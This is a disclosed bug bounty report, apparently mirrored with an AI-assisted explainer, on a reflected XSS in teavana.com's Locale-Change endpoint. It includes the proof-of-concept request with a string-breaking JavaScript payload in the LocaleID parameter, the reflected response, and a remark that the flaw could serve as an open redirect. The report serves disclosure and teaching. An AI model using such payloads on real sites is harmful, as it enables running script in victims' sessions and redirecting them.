Reflected XSS on teavana.com (Locale-Change)
The LocaleID parameter of a locale-switching endpoint was reflected into a JavaScript string inside the page without validation, so a crafted link could break out of the string and run script in the victim's browser. The same flaw could also be turned into an open redirect.
Originally disclosed on HackerOne
- Triaged in 16 days
- Fixed in 3 months
- Paid in 16 days
- Disclosed after 6 months
SUMMARY
Hello, the link at https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Locale-Change?LocaleID=en_CA (was identified by changing languages) is prone to reflected XSS in the "en" zone of the LocaleID parameter. One can inject javascript that will be reflected back to the target while calling the modified link.
POC
This injection is possible because the contents before the _CA are not validated and it will be injected in the response.
Request :
GET /on/demandware.store/Sites-Teavana-Site/default/Locale-Change?LocaleID=eas%27;alert(1);//dasdsan_CA HTTP/1.1
Host: www.teavana.com
Response :
<script type="text/javascript">
var uri = 'https:///on/demandware.store/Sites-StarbucksCA-Site/eas';alert(1);//dasdsan_CA/Home-Show';
uri=decodeURIComponent(uri);
if(uri.indexOf("/ca/en") >=0){
uri=uri.replace("/ca/en","");
}
else if(uri.indexOf("/ca/fr") >=0){
uri=uri.replace("/ca/fr","");
}
window.location = uri;
</script>
Note the : var uri = 'https:///on/demandware.store/Sites-StarbucksCA-Site/eas';alert(1);//dasdsan_CA/Home-Show';
This can also be modified to easily make an open redirect.
Also attached screenshot.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the LocaleID value was inserted into a JavaScript string literal without validation or escaping, allowing a quote to break out of the string.
Impact
An attacker could run script in a victim's session on the site's domain, and the same parameter could be abused to redirect users elsewhere.
What the attacker needed
Victim clicks a crafted link
How it was found
- Open the Locale-Change endpoint with a normal locale value to see the reflected JavaScript.
- Modify the LocaleID value so it closes the JavaScript string and adds script.
- Load the modified link and observe the script executing in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page takes a value from the address bar and writes it into the page's code. The site put the language code into JavaScript without cleaning it, so an attacker could add their own JavaScript that the victim's browser runs.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.